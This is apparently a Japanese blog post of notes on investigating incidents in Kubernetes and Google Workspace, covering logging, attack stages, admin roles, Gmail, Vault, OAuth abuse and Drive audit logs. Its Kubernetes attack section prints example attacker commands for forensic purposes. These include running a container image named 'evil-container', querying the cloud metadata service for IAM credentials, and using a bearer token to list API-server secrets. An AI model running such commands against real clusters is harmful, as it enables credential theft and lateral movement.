KubernetesおよびGoogle Workspace インシデント調査のメモ

Posted on by Tony3

KubernetesおよびGoogle Workspace インシデント調査のメモ。

目次

Kubernetes

ざっくり言うとコンテナのデプロイ、スケーリング、管理等を行うオーケストレーションシステムのこと。コンテナ、ポッド、ノードを監視して必要に応じてそれらの管理を行う。元々はGoogleが開発した技術。

Container
コンテナ。アプリケーションおよび、その実行に必要なライブラリや設定等の実行環境をパッケージ化したもの。基本的にコンテナにはひとつのアプリケーション（とその実行環境）のみが含まれている。

Pod
ポッド。複数のコンテナをまとめて、ひとつのアプリケーションとしたもの。ポッド内のコンテナはシステムリソースを共有し、コンテナ間の通信も容易に行える。

Node
ノード。ポッドをホストして実行するコンピューターのこと。クラウド環境においてはクラウドサービスプロバイダーが提供する仮想マシンがノードに当たる。ノードは複数のポッドを実行できる。

Kubernetesは上述したコンテナ、ポッド、ノードを監視して、全体が滞りなく実行されるように管理を行う。一例として

  • アプリケーションのスケールアップが必要と判断した場合は、新たにポッドを立ち上げる。
  • アプリケーションの負荷が下がった場合には、徐々にノードやポッドの数を減らしてスケールダウンを行う。

Kubernetesの構成要素

Control Plane
Kubernetes全体を監視・統括する司令塔。Kube-APIServer, etcd, Kube-Scheduler, Cloud-Controller-Managerで構成される。

Kubelet
ノードにインストールされているエージェント。コンテナやポッドの異常を検知した場合は、Control Planeに通知する。

Kube-Proxy
ノード間の通信やKubernetesの外部 （インターネット等）との通信を受け持つプロキシ。

Kube-APIServer
Kubernetesへの命令を行うAPIサーバー。Control Planeへの命令はこのAPIを通じて行われる。ノードに侵入した攻撃者は大抵の場合、このAPIの悪用を試みる。

etcd
Kubernetesの運用に必要なデータが保管されている。データベースのパスワードやAPIキーなどのセンシティブな情報が保管されているケースが散見される。

Kube-Scheduler
ポッドを増設するタイミングや、どのノードにポッドを適用するかなどを決定する。

Cloud-Controller-Manager
Kubernetesとクラウドサービスプロバイダーの橋渡し役。クラウドサービスプロバイダーはCloud-Controller-Managerを介してControl Planeに指示を送る。

Kubernetesの通信

ポッドはループバックアドレスを介して通信する
ポッド内のコンテナ同士はループバックアドレスを介して通信できる。

ポッドのポート管理はノードが行う
ポッドには一意のIPアドレスが付与されるが、ポートの管理はノードにインストールされているKubeletエージェントが行う。

全てのノードはNAT無しで通信できなければならない
クラスター内のノードはNAT無しで他のノードと通信できなければならない。よって各ノードはIPアドレスを介して通信できることが前提となる。

ノードはサービスを介して通信する
Kubernetesにおいてサービスとはポッドがネットワーク通信をするための抽象化レイヤーのことである。ノード間の通信はこのサービスを介して行われる。

全てのノードはControl Planeと通信できなければならない
Kubernetesが正常に機能するためには、全てのノードがControl Planeと通信できる必要がある。

Kubernetesのログ事情

  • KubernetesのControl Planeにはklogというログ用のライブラリがあり、システムログを生成する。
  • コンテナと無関係のログはjournaldや/var/logに記録される。
  • Kube-SchedulerやKube-Proxyのログは/var/logに記録される。

Azure Kubernetes Service (AKS)

Microsoft Azureが提供するKubernetesサービス。

  • システムレベル (Control Plane)のログはデフォルトで有効化されていない。
  • システムログを有効化した場合、Log Analytics WorkspaceやStorage Account、Event Hub等にログを保管できる。
  • メトリックやシステム診断関連のログはデフォルトで有効化されているが、インシデント調査ではあまり有用ではない。

また、AKSはContainer Insightsというサービスも提供している。これはKubernetesクラスター内のポッドのパフォーマンス等を確認するためのサービスだが、その機能のひとつにコンテナで実行されているアプリケーションのSTDOUT (標準出力)をライブで確認できるというものがある。このSTDOUTの情報をLog Analytics Workspaceに保管して後から検索することも可能。
インシデント調査においては、STDOUTの情報を確認することで攻撃者がコンテナに対して行った活動の断片を知ることができる。あくまでSTDOUTの情報なので、コマンドの実行結果のアウトプットのみが記録される。コマンドそのもは記録されない。

Amazon Elastic Kubernetes Service (EKS)

AWSが提供するKubernetesサービス。

  • システムレベル (Control Plane)のログはデフォルトで有効化されていない。
  • 以下の5種類のログを有効化できる。
    • Kube-APIServerログ
    • 監査ログ
    • Authenticatorログ
    • Controller Managerログ
    • Kube-Schedulerログ
  • 上記のログが有効化された場合、CloudWatchに保管される。

Google Kubernetes Engine (GKE)

Googleが提供するKubernetesサービス。

  • システムレベルのログはデフォルトで有効化されており、無効化することはできない。ここでいうシステムレベルのログとはControl Planeのログのことではなく、システムレベルの名前空間 (kube-system, istio-system, knative-serving, gke-system, config-management-system)で稼働しているポッドやコンテナの外で実行されているシステムサービスのログのこと。
  • Workloadsログはデフォルトで有効化されているが、無効化することも可能。Workloadsログとはユーザーが作成したコンテナのログのことで、攻撃者がコンテナに侵入した際に最も重宝するログでもある。
  • ユーザーは以下のControl Planeログを有効化できる。
    • Kube-APIServerログ
    • Kube-Schedulerログ
    • Controller Managerログ
  • GKE内で生成されたログはGoogle Cloudのログ用APIに送られ、Log sinkに活用されたり、ユーザーが指定した保管先へと送られる。

Kubernetesへの攻撃

以下は代表的なKubernetesへの攻撃手法。

Container Drift

実行中のコンテナに後からツールやアプリケーションがインストールされるような挙動をContainer Driftと呼ぶ。
通常、コンテナ内のアプリケーションの変更やアップデートはコンテナのビルドの際に行われるべきもので、コンテナの実行中にするべきものではない。なので、このような挙動は攻撃活動の兆候と捉えることができる （攻撃者はコンテナへ侵入すると、攻撃用のツールやスクリプトを追加でインストールすることが多々ある）。

以下はContainer Driftの一例。

$ yum install docker
$ yum install nmap
$ curl -LO "https://dl.k8s[.]io/release/$(curl -L -s https://dl.k8s[.]io/release/stable.txt)/bin/linux/amd64/kubectl"
$ sudo install -o root -g root -m 0755 kubectl /user/local/bin/kubectl

このようなコマンドの実行履歴は、Control Planeを始めとしたKubernetesのログには記録されない。Container Driftを調べるにはエンドポイントのログが不可欠である。

Deploy Container

攻撃者は攻撃用のスクリプトやマルウェアのインストールされた自前のコンテナをデプロイすることがある。自前のコンテナをデプロイすることで、ノードやControl Planeに対して更なる攻撃活動を行える。
以下は攻撃者が公開レポジトリから悪意のあるコンテナをダウンロードして実行し、コンテナ内にインストールされているスクリプトを実行している例。

$ kubectl run -it evil-container --image=public_repo/evil-container -- sh

<shell within evil container>

# ./attack-script.py

kubectl等でコンテナをデプロイした場合、Control Planeとのやり取りが発生するため、Control Planeのログに攻撃活動の記録が残る。

Pod / Container Escape

大抵の攻撃者はコンテナへの侵入を果たした後、別のコンテナまたはポッドへの水平展開や、コンテナからノードへのエスケープを試みる。一旦ノードへエスケープしてしまえば、そこから別のノードへの水平展開は比較的容易である (Kubernetesクラスター内のノード同士はデフォルトで通信可能なため)。
水平展開やエスケープの前準備として、攻撃者はこれらの攻撃に使えそうなクレデンシャルを探索する必要がある。
kubectlによるサービスアカウントのトークンへのアクセスや、ほかのコンテナまたはポッドのサービスアカウントへのアクセスといった挙動がクレデンシャル探索活動の兆候として挙げられる。

メタデータサービスを利用した探索活動

Microsoft AzureやAWS、Googleなどのクラウドサービスプロバイダーが提供するKubernetesクラスターに攻撃者が侵入した場合、攻撃者はメタデータサービスに問い合わせを送ることで仮想マシンの情報や適用されているロール等の情報を取得できる。

以下はAWSの仮想マシンに適用されているIAM Roleを確認するためにメタデータサービスに問い合わせを送っている様子を表している。

//request
$ curl http://169.254.169.254/latest/meta-data/iam/info

//response from server
{
	"Code" : "Success",
	"LastUpdated" : "2023-03-11T01:35:26Z",
	"InstanceProfileArn" :
		"arn:aws:iam::305681518678:instance-profile/SSM_IR_Extraction01",
	"InstanceProfileId" :
		"AIPAUOLAJ2BLEQTBIEODM"

}

以下は上記の問い合わせの応答内容をもとにIAM Role SSM_IR_Extraction01のクレデンシャル情報を問い合わせている様子を表している。

//request
$ curl http://169.254.169.254/latest/meta-data/iam/security-credentials/SSM_IR_Extraction01

//response from server
{
	"Code" : "Success",
	"LastUpdated" : "2023-03-11T01:34:56Z",
	"Type" : "AWS-HMAC",
	"AccessKeyId" : "<REDACTED>",
	"SecretAccessKey" : "<REDACTED>",
	"Token" : "<REDACTED>",
	"Expiration" : "2023-03-11T07:42:31Z"

}

応答内容にアクセスキー等のクレデンシャル情報が含まれているのが確認できる。攻撃者はこれらのクレデンシャルをもとに水平展開やエスケープを試みることができる。

上記ではAWSを例に挙げたが、Microsoft AzureやGoogleでも同様のメタデータサービスへの問い合わせは可能。

API Abuse

コンテナやポッドへ侵入した攻撃者はControl PlaneのAPIを悪用して更なる攻撃活動を試みることができる （環境変数等に保存されているクレデンシャル情報の探索など）。

Control PlaneのAPIを使用するには証明書による認証が必要となる。証明書はノードに保管されているが、大抵の場合、大したセキュリティ対策も施されておらず、ポッドからアクセス可能。一旦、証明書を用いて認証をパスすれば、攻撃者はControl PlaneのAPIを用いてセンシティブな情報を問い合わせることができる。

以下は証明書を用いてセンシティブな情報をAPIに問い合わせている様子。

//request
$ curl -cacert ${CACERT} --header "Authorization: Bearer ${TOKEN}" -X GET ${APISERVER}/api/v1/namespace/${NAMESPACE}/secrets

//response from server
{
	"kind":
		"SecretList",
		"apiVersion": "v1",
		"metadata" : {
			"selflink": "/api/v1/namespace/my-namespace/secrets",
			"resourceVersion": "7477" 1,
			"items" : [
					"metadata": {
					"name": "my-namespace-sa-token-kbjlh",

--- <snipped> ---

APIが悪用された場合はControl Planeのログに記録が残る（ただし、API悪用の前準備であるノードの証明書へのアクセスは記録されない）。

Kubernetesへの攻撃の流れ

外部サービスへの攻撃
大抵の場合、攻撃者はまず外部に公開されているサービスを攻撃してKubernetes内部への侵入を図る。初期侵入経路は外部向けのサービスをホストしているポッドの場合もあれば、ファイヤーウォール等の設定ミスで意図せず外部からアクセス可能となっているControl Planeやノードの場合もある。
外部サービスへの攻撃を調べるには、まずファイヤーウォールのログやネットワークフローログを調べると良い。もし攻撃者がControl Planeと直接やり取りをしていた場合は、Control Planeのログにも記録が残る。

内部サービスやリソースの変更・改ざん
Kubernetes内部へ侵入した攻撃者はクラスター内のサービスやリソースの変更・改ざんを試みる。これはさらなる攻撃活動のために攻撃用のツールやアプリケーション等をクラスター内にインストールする必要があるためである。内部サービスやリソースの変更・改ざんの兆候はControl Planeのログに記録が残る場合もあるが、もしポッドにホストされているサービスやアプリケーションが変更・改ざんされた場合はControl Planeのログには記録は残らない。

永続化
Kubernetes内部へ侵入した攻撃者はKubernetesへのアクセスを継続するために、永続化を図る場合がある。永続化の手段としてクラスター内のサービスやリソースを変更・改ざんしたり、クレデンシャルを盗んで次回以降のアクセスに活用するというものが挙げられる。
永続化の兆候はControl Planeのログやフローログに記録が残る場合がある。

水平展開
Kubernetes内部へ侵入した攻撃者はほかのポッドやノードへの水平展開を試みる。Control Planeを介して水平展開を行った場合、Control Planeのログに記録が残る。ノードからノードへの水平展開が行われた場合は、フローログを確認すると良い。

権限昇格およびクレデンシャルの窃取
上述したリソースの変更・改ざんや水平展開を達成するためにはクレデンシャルの入手や権限昇格が不可欠な場合がほとんどである。なので、これらは上述した攻撃ステップとセットで行われることが多い。

Sidecar Container

Sidecarコンテナとは特権を有しているコンテナで、ノード内で実行されている全てのポッドのネットワーク通信状況やディスクアクセス状況、プロセス一覧を閲覧することができる。EDRやNDRはSidecarコンテナを活用してノードの監視やネットワークの監視を行うことが多い。
Sidecarコンテナを掌握すればノードの状況の把握に役立つため、攻撃者の標的にされることも多い。

Google Workspace

Google Workspaceのデータセンターは北アメリカ、南アメリカ、ヨーロッパ、アジアなど世界各国に点在しており、Google Workspaceのデータはデフォルトでこれらのデータセンターのいずれかに保管されることとなる。もしデータを特定のデータセンターに保管したい場合は、米国かヨーロッパのデータセンターの2択となる。

Google Workspaceのライセンスの種類

  • Business
    • Starter
    • Standard
    • Plus
  • Enterprise
    • Essentials
    • Standard
    • Plus
  • Education
    • Fundamentals
    • Teaching & Learning
    • Standard
    • Plus
  • G Suite
    • Basic
    • Business

企業で最も使われているのがEnterpriseエディションである。BusinessエディションはEnterpriseエディションやEducationエディションに比べると、インシデント調査に使えるログやデータが豊富ではない。
G Suiteエディションはすでに販売が終了しているが、未だに使用している企業もある。

これらのエディションにはさらにStandardやPlusなど複数のサブエディションが存在するが、インシデント調査においては

  • Plus: 最もログやデータが豊富。
  • Standard: Plusほどではないが詳細なログやデータがある。
  • その他のサブエディション: 有用なログは少ない。

Administrator Roles

ユーザー、グループ、カレンダー、リソース等の管理を行う管理者用のロール。
Googleによってあらかじめ定義されているロールとは別にユーザーがカスタムのロールを作成することもできる。
Administratorロールを割り当てることでユーザーに管理者権限を付与できる。

リスクレベル別 Administrator Roles

以下はGoogleによってあらかじめ定義されているAdministratorロールをリスク別に分けたもの。

高リスク

  • Super Admin: Google Workspaceのあらゆる機能にアクセス可能。例として、ユーザーのカレンダー、Administratorロールの作成および管理、パスワードのリセット、ユーザーの削除に伴うファイルのオーナーシップの変更、多要素認証を始めとしたセキュリティの設定など。
  • Groups Admin: グループに対して強力な権限を有する。例として、グループの作成および管理、アクセス設定の調整、ユーザープロファイルやorganizational構造の閲覧、グループへのセキュリティレーベルの付与など。
  • Reseller and Indirect Reseller Admin: 顧客向けのGoogle Workspaceに対して強力な権限を有する。例として、発注、請求・支払い設定へのアクセス、顧客のサポートケースの管理など。

中リスク

  • User Management Admin: 非管理者ユーザーを管理できる。例として、ユーザープロファイルの閲覧、アカウント作成および削除、ユーザー名の変更、パスワードの変更、個々のセキュリティ設定の変更など。ただし、ほかの管理者アカウントを変更することはできない。
  • Help Desk Admin: 非管理者ユーザーのパスワードの変更や、ユーザープロファイル・organizational構造の閲覧が可能。
  • Service Admin: GoogleカレンダーやDrive、Docsを始めとしたサービスの設定やパーミッションの管理を行う。またGoogle Workspace Marketplace上のアプリケーションやAdminコンソール内のデバイスも管理できる。サービスの有効・無効化、設定の変更、Google Takeoutの設定の管理が可能。ただし、Vaultの管理はできない。またAlert Centerへもアクセス可能。
  • Mobile Admin: モバイルデバイスやエンドポイントの管理を行う。例として、新規デバイスの許可・追加、デバイスやアプリケーションの管理、デバイスポリシーの適用やデバイスまたはアカウントのブロック・消去など。

低リスク

  • Storage Admin: ストレージ関連のデータに対して強力な権限を有する。例として、ストレージの使用状況（どのユーザーや共有ドライブが最もストレージを消費しているかなど）の閲覧やストレージの制限設定、ドライブの設定管理やAdminコンソールのレポート機能へのアクセスなど。
  • Google Voice Admin: Google Voiceサービスに対して強力な権限を有する。例として、ロケーションの管理、番号の割り当てや移行、サービスアドレスの変更、デスクフォンや自動応答の設定、ユーザーのライセンス管理など。

Custom Administrator Roles

上述した定義済みのAdministratorロールとは別に、用途に合わせたカスタムのAdministratorロールを作成することもできる。カスタムロールを使用すると、Adminコンソール内の様々なタスクに対して細かい権限を割り当てることができる。ただし、カスタムのAdministratorロールを付与されたユーザーはほかの管理者アカウントに変更を加えることはできない。

Google Workspaceの構造

Organizational Unit (OU)

Organizational Unit (OU)とはユーザーやデバイスをグループ化したもので、管理者はOUごとに特定の設定やポリシー、パーミッションを適用できる。
Google Workspaceにて新規のユーザーやデバイスが追加されると、（特に指定がない場合は）デフォルトのOUに所属させられる。ユーザーやデバイスはひとつのOUにしか所属できない。
OUはツリー構造を成すことが可能で、下位のOUは上位のOUの設定を引き継ぐ。ただし下位OUにカスタムの設定を適用することで、上位OUから引き継がれた設定を上書きできる。
以下はOUを利用したシステム管理の一例。

  • ユーザーのGoogle Photosの使用を無効化する。
  • ユーザーアカウントがYouTubeアカウントとして使用されないように制限する。
  • サードパーティー用のアカウントが使用できるサービスに制限を設ける。

OUの親子関係はAdminコンソールから確認できる。ただし、どのユーザーがどのOUに所属しているかまでは確認できない。ユーザーが所属しているOUを確認するには、Adminコンソールからユーザーの詳細情報を参照する必要がある。
OUへの設定変更はAdmin Log Eventsに記録される。

Group

より柔軟なユーザー管理を行いたい場合は、グループを使用する。OUと異なりユーザーは複数のグループに所属することができる。グループは更にほかのグループに所属することも可能。IT SupportグループがIT Adminグループのメンバーだった場合、IT SupportグループはIT Adminグループの設定を引き継ぐ。
以下はグループに対してできること。

  • 特定のパーミッションや機能の割り当て
  • メーリングリストとしての使用

どのグループにどのユーザーが所属しているかを確認したい場合は、AdminコンソールのInspect Groups機能を使用する。この機能を使用すると、ユーザーとグループの関係 （直接のメンバーなのか、間接的にほかのグループに所属しているのかなど）が分かる。

Groupのパーミッション構造

ユーザーの種類

  • Group Owners
  • Group Managers
  • Group Members
  • Whole Organization
  • External to Organization

パーミッションの種類

  • Contact Owners
  • View Members
  • View Conversations
  • Make Posts
  • Add New Members

Google Workspaceのログの種類

Google Workspaceのログは大きくUser Actions & Authenticationログ、Admin Actionsログ、App Usageログの3つに分けられる。

User Actions & Authentication

ユーザーアカウントの使用に伴うアクティビティが記録される。以下はログの例。

  • Login Audit Logs (近年ではUser Log Eventsに統合)
  • User Accounts Audit Log (近年ではUser Log Eventsに統合)
  • Security Reports
  • Account Activity Reports

Admin Actions

Adminコンソール内で行われたシステム管理に関するアクティビティが記録される。以下はログの例。

  • Admin Action Log
  • OAuth Token Log
  • Group Log
  • SAML Log

App Usage Logs

Google Workspaceのアプリケーションの使用中にユーザーが取ったアクションが記録される。以下はログの例。

  • Gmail Log Events
  • Gmail Messages
  • Drive Log
  • Takeout Log
  • Calendar Log
  • Chat Log
  • Meet Log

Google Workspaceのログへのアクセス方法

Google WorkspaceのログはWorkspace AdminインターフェースまたはAPIからアクセスできる。

Workspace Adminインターフェース

ログを視覚的に確認できる。ただし目的のデータにたどり着くまでに複数の画面を行き来したり、ボタンをクリックする必要がある。
ログはGsheetまたはCSV形式でエクスポートできる。一度にダウンロードできるのは10,000~100,000イベントなので、大量のイベントをエクスポートする場合は、ダウンロードを複数回に分ける必要がある。またログのタイムスタンプはダウンロードを行うユーザーのシステム時間に準拠する。

API

AdminコンソールのSDKが提供しているAPIを使用すると、JSON形式のレポートを取得できる。レポートは以下の2種類に分けられる。

  • Activity Reports: Google Workspaceのサービス (Gmail, Drive, OAuth, etc)やAdminコンソールで発生したアクティビティのレポート。
  • Usage Reports: ユーザーアカウントの使用に伴うアクティビティやユーザーアカウントがどのように使用されたかのレポート。

Workspace Adminインターフェースと異なり、ダウンロードできるイベントの数に制限はない。また、Workspace Adminインターフェースと比べて高速。ログのタイムスタンプはUTC表示。

ただし、APIを使用するには事前に設定が必要になる。以下は大まかな設定の流れ。

  1. Google Cloud (Google Workspaceではない) にてプロジェクトを作成する。
  2. プロジェクトにてWorkspace APIへのアクセスを有効化する。
  3. OAuth Client IDを作成してOAuth同意画面を有効化する。
  4. OAuth Client IDのクレデンシャル（JSON形式）をダウンロードする。ツール等を用いてWorkspaceのログを収集する場合は、このクレデンシャルが必要となる。
  5. 以上で、Google Workspaceのアカウントを使用し、APIを用いてログを収集できるようになる。

Gmail

Gmail Log Events vs Gmail Messages

Gmail関連のログはGmail Log EventsとGmail Messagesの２つがある。

Gmail Log Events

  • 送受信されたメールのトランザクションログ
  • 以下に基づいた検索が可能
    • ユーザーのアクション内容 （メールの閲覧、削除、リンクのクリック、添付ファイルのダウンロード等）
    • メールのヘッダー情報
    • 添付ファイルのハッシュ値
  • メールの完全なヘッダーおよび本文を含んでいる
  • メール内でスレッド化されたメッセージも表示可能
  • 送受信されて30日以上経過しているメールは、受信メールアドレスもしくはメッセージIDでのみ検索可能。
  • Adminコンソール上では1000メッセージまでしか表示されない （CSVにエクスポートした場合も同様）

Gmail Messages

  • メールボックスに現存しているメールのみ検索可能 （ゴミ箱から削除されたメールはGmail Messagesからは検索できない）
  • どれだけ古いメールでもメールボックスに現存していれば検索できる
  • メールの検索方法はGmail Log Eventsほど豊富ではない
  • メールの完全なヘッダーおよび本文を含んでいる
  • メール内でスレッド化されたメッセージも表示可能

Gmailにおけるドット表記の扱いについて

Gmailはメールアドレスの@ 以前に意図しないドットが含まれていても問題なく配送される。
例えばjosh@gmail.com宛のメールとj.o.s.h@gmail.com宛のメールは、どちらもjosh@gmail.comに配送される。（試しに自分の持っているGmailのアドレスで検証してみたところ、ドット付きのアドレスでもちゃんと配送された）

Gmail Quarantine Manager

Google Workspaceの検知ルールによって隔離されたメールは、AdminコンソールのQuarantine Managerから確認できる。メールの完全な内容を確認することが可能で、隔離を解除して本来の宛先アドレスまで配送することもできる。メールが隔離された場合、デフォルトではメールの送信者や受信者に対して通知は行われない。隔離されて30日以上経過したメールはQuarantine Managerから削除されるが、Vaultで確認可能 （Vaultでの保管期間はVaultの設定に準じる）。

Gmail (Google)によって隔離されたメールについて

メールの配送中にGoogleによって隔離または拒否されたメールは、先述したGmail Log Eventsにのみ記録が残る。これはメールがGoogle Workspkaceに到達する前にGoogleの管理するGmailのゲートウェイにてブロックされるためである。このような形でメールが隔離された場合、送信者や受信者はもちろん、Google Workspaceの管理者にも通知は行われない。

Gmailは以下の拡張子を持つ添付ファイルを自動的にブロックする。

.ade
.adp
.apk
.appx
.appxbundle
.bat
.cab
.chm
.cmd
.com
.cpl
.dll
.dmg
.ex
.ex_
.exe
.hta
.ins
.isp
.iso
.jar
.js
.jse
.lib
.lnk
.mde
.msc
.msi
.msix
.msixbundle
.msp
.mst
.nsh
.pif
.ps1
.scr
.sct
.shb
.sys
.vb
.vbe
.vbs
.vxd
.wsc
.wsf
.wsh

上記の拡張子を持つ添付ファイルは、ZIP等で圧縮されていたとしてもブロックされる。また圧縮ファイルがパスワードで保護されていた場合、Gmailはパスワードのブルートフォースを試みる。

Gmailのセキュリティ機能

Enhanced pre-delivery message scanning

フィッシングメールの検知を行う。検知されたメールはユーザーのスパムフォルダーに移動される。
デフォルトで有効化されている。

Security sandbox

添付ファイル付きのメールをサンドボックスで検証して悪意のあるペイロードが含まれていないか確認する。検知された場合はユーザーのスパムフォルダーに移動される。またAdminコンソール内のsecurity centerにも記録される。
デフォルトで無効化されている。

APT Attack Notifications

国家規模の脅威アクター・Advanced Persistent Threat (APT) の関与が疑われるメールを検知した場合、標的となったユーザーはGoogleから特別な通知を受け取る。またGoogle Workspaceの管理者にもsecurity alert centerを通じて通知される。
APT Attack Notificationsは全てのGmailアカウントが保護の対象となっているが、その検知ロジックは原則、非公開となっている。
ほかのメールと同様、Vaultを始めとしたログに記録が残る。

Vault

VaultとはGoogleが提供するデータの保管サービスであるが、本項では主にVaultがGmailのメールをどのように扱うかを論ずる。

Gmailにおけるメールの保管期間について

Gmailではメールがゴミ箱に移動されるか、完全に削除されない限り、半永久的に保管される。
通常、メールは削除されるとまずゴミ箱へと移動する。ゴミ箱に移動して30日以上経過したメールはメールボックスから完全に削除され、一般ユーザーがアクセスすることは不可能となる。
ゴミ箱から削除されたメールは（デフォルトで）30日間はGoogleによって保管されるので、Google Vaultなどで検索することができる。

Vaultにおけるデータの保管期間について

VaultはDefault Retention Rule, Custom Retention Rule, Hold Ruleに基づいてデータを保管する。

Default Retention Rule

  • デフォルトで適用されるルール。Google Workspace内の全てのユーザーに適用される。Gmailだけでなく Drive, Groups, Chat, Meet, Siteにも適用される。
  • デフォルトだと保管期間は30日間だが、任意の期間に変更可能 （最短期間は1日）。

Custom Retention Rule

  • 特定の条件に合致したデータに個別の保管期間を設けたい場合に使用する。
  • Custom Retention RuleはDefault Retention Ruleよりも優先される (Default Retention Ruleの保管期間が30日間でCustom Retention Ruleの保管期間が10日間だった場合、データの保管期間は10日間となる)。

Hold Rule

  • Default Retention RuleやCustom Retention Ruleよりも優先される。
  • インシデント調査においては、ログ保全目的で使用される。

VaultからGmailを検索

VaultからGmailやGoogle ドライブを検索するにはmatterを作成する必要がある。検索内容はmatterに保持される。matterはほかのユーザーと共有可能なので、ひとつのmatterに複数のユーザーで取り組むことができる。

matterを作成したら検索条件を設定する。Termsを使用するとGmailメールボックス内の検索に酷似した検索条件 （フィールド名:値）を設定できる。以下は検索条件の一例。

to:
from:
cc:
replyto:
in:inbox
in:spam
label:ProjectX/parts
is:read
is:unread
larger:1M
larger:20K
filename:secrets.zip
filename_exact:SeCrEts.zip
has:attachment

検索文に空白が含まれている場合はAND扱いとなる。除外検索をしたい場合は- (マイナス) もしくはNOTを使う。以下は使用可能な検索オペレーターの例。

AND
OR
NOT
*
AROUND
to:taro@example.com AND from:*@evil.com AND has:attachment AND (larger:20K AND smaller:100K) AND ("urgent" OR "secret" OR open AROUND 15 attachment)

VaultからGmailの検索を行うと、検索に合致したメールはスレッド化された状態で表示される。なので検索結果上は1行でも、行をクリックすると複数のメールが現れる場合がある。

検索結果をクリックすると以下のことが確認できる。

  • メールのヘッダー情報
  • メールの状態 （未読、既読、etc）
  • メールの本文
  • 添付ファイル (※ZIP化や暗号化は施されていないので、ダウンロードの際は注意が必要)

検索に合致したメールはエクスポートすることができる。エクスポートが完了すると以下の5つのファイルがダウンロード可能となる。

  • .zip: 添付ファイルを含むメールのコピーが含まれている。メールの形式はMBOXもしくはPST (エクスポートの開始時に選択)。
  • metadata.csv: 抽出されたメールのサマリーを含む （メッセージID、件名、送信アドレス、受信アドレス、送受信日時など）。
  • errors.xml: メールの抽出時にエラーが発生した場合はこのファイルに記録される。
  • result-counts.csv: 抽出されたメールの数とメールアカウントの数が記録される。
  • File checksums: エクスポートされたファイルのチェックサムを含む。

ユーザーアクティビティの調査

本項ではユーザーアクティビティの調査に有用なログについて論ずる。

Admin Audit Logs

Google Adminコンソール内で起きたシステム管理関連のイベントが記録される。以下は記録されるイベントの一例。

  • ユーザーライセンスの割り当て
  • グループの作成
  • グループ設定の変更

管理者アカウントの侵害が疑われる場合は、Admin Audit Logsを確認することで不審なシステム変更が加えられなかったか調査できる。

User Log Events

主にユーザーの認証関連のイベント （ログインの成否や多要素認証の設定・変更等）が記録される。以下はUser Log Eventsに記録されるログインの種類の一例。

  • Exchange: ユーザーがOAuthを介してログインしたことを示す。もしくは既存の認証トークンを使用した既存のセッションが1つのセッションに統合されたことを示す。
  • Google Password: ユーザーがGoogleのパスワードプロンプトを介してログインしたことを示す。
  • OIDC: OpenID Connect (OIDC)を介してログインしたことを示す。
  • Re-Auth: ユーザーが再認証するようにGoogle Workspaceから促されたことを示す。
  • SAML: SAMLを介してログインしたことを示す。
  • Unknown: 未知の方法でログインしたことを示す。

異常なログインを検知した場合は、イベントが注意喚起アイコンとともに表示される。

以下はUser Log Eventsに記録されるイベントの一例。

  • 2-step verification disabled: ユーザーが多要素認証を無効化したことを示す。
  • Account password change: ユーザーがパスワードを変更したことを示す。ただし、管理者による一般ユーザーのパスワード変更はここには含まれない。
  • Failed login: ユーザーがログインに失敗したことを示す。
  • Government-backed attack: 国家規模の脅威アクター・Advanced Persistent Threat (APT)によるアカウントへのアクセス試行が行われたことを示す。
  • Leaked password: ユーザーのパスワードが過去に漏洩したパスワードと一致したことを示す。
  • Login challenge: 不審なログインに対して行われる、さらなるユーザー認証。
  • Login verification: 正常なログインに対して行われる、さらなるユーザー認証。
  • Logout: ユーザーがログアウトしたことを示す。
  • Out of domain email forwarding enabled: ユーザーが外部のアドレスへのメール転送を有効化したことを示す。
  • Successful login: ユーザーがログインに成功したことを示す。
  • Suspicious login: 不審なログインが発生したことを示す （例： 新規のIPアドレスからのログイン）。
  • User suspended: Googleがアカウントを凍結したことを示す。

OAuth

OAuthとはサードパーティーのアプリケーションがユーザーコンテンツ （この場合はGoogle Workspace）のAPIにアクセスすることをユーザーが認可する仕組みのこと。
Google Workspace固有の技術というわけではないが、本項ではGoogle Workspaceでの利用を想定して論ずる。以下はざっくりとした流れ。

  1. サードパーティーのアプリケーションがOAuthの利用を要求する。「Googleでサインインしますか？」や「このアプリケーションがGoogleアカウントにアクセスすることを許可しますか?」といった画面がこれに当たる。
  2. 1.の要求時にアプリケーションが要求しているアクセス権の範囲 （スコープ）が表示される。
  3. ユーザーがアクセスを許可すると、認証サーバーからアプリケーションに対してトークンが発行される。
  4. アプリケーションはトークンを利用してユーザーコンテンツが保持されているリソースサーバーにアクセスする。

OAuthの悪用例

  1. 攻撃者が悪意のあるアプリケーションを作成する。
  2. 標的ユーザーにフィッシングメールなどを介してアプリケーションにアクセスするように促す。
  3. 標的ユーザーがアプリケーションにアクセスすると、アプリケーションはOAuthの利用を要求する。この際、アプリケーションがユーザーのGmailおよびコンタクトへのアクセスを要求したとする。
  4. 標的ユーザーがアプリケーションを許可すると、アプリケーションは標的ユーザーのGmailアカウントを利用して、ユーザーのコンタクトに登録されているメールアドレスに同様のフィッシングメールをばら撒く。

OAuthを悪用した攻撃の最大の特徴は、標的ユーザーからユーザー名やパスワードなどのクレデンシャルを窃取することなく、攻撃を成立させられることである。

OAuth Log Events

OAuth関連のイベントが記録される。以下の情報が確認できる。

  • OAuthを許可したユーザー
  • OAuthを要求したアプリケーション名およびID
  • アプリケーションが要求したAPI (drive.files.get, drive.permissions.create, gmail.users.messages.send, etc)
  • APIへの応答として返されたデータのバイトサイズ
  • API要求を送ったIPアドレス

また、AdminコンソールのAPI Controlsからもサードパーティーのアプリケーションによる認証やAPI要求を確認できる。

Google Drive

Google Driveの調査で有用なのはGoogle Drive Audit Logである。

Google Drive Audit Log

  • Driveに対して取られたアクションの詳細が記録される。
  • 6ヶ月分の記録が保持されている。
  • CSVで一度にエクスポートできるのは100,000行まで （Adminコンソールからエクスポートした場合）。
  • APIを介してエクスポートした場合、Adminコンソールからエクスポートした場合よりも詳細なログを取得できる。
  • 匿名ユーザーや認証されていないユーザーによるView Onlyのアクセスは記録されない。

以下はインシデント調査において注視すべきAudit Logのフィールド。

  • Title: アクセスされたドキュメントのタイトル
  • Description: イベントのサマリー
  • User: アクションを実行したユーザー名
  • Event: ドキュメントに対して行われたアクション （View, Edit, Rename, Download, etc）
  • Document ID: ドキュメントの識別子。ドキュメント名を変更しても、このIDは変わらない。
  • Document Type: ドキュメントのファイルタイプ （Presentation, Document, Spreadsheet, etc）
  • Owner: ドキュメントのオーナー
  • Prior Visibility: イベント発生前のドキュメントの公開範囲 (例： people_with_link) やアクセス権 (例：can_edit)のレベル
  • Visibility: イベント発生後のドキュメントの公開範囲やアクセス権のレベル
  • IP Address: イベントを実行した送信元IPアドレス

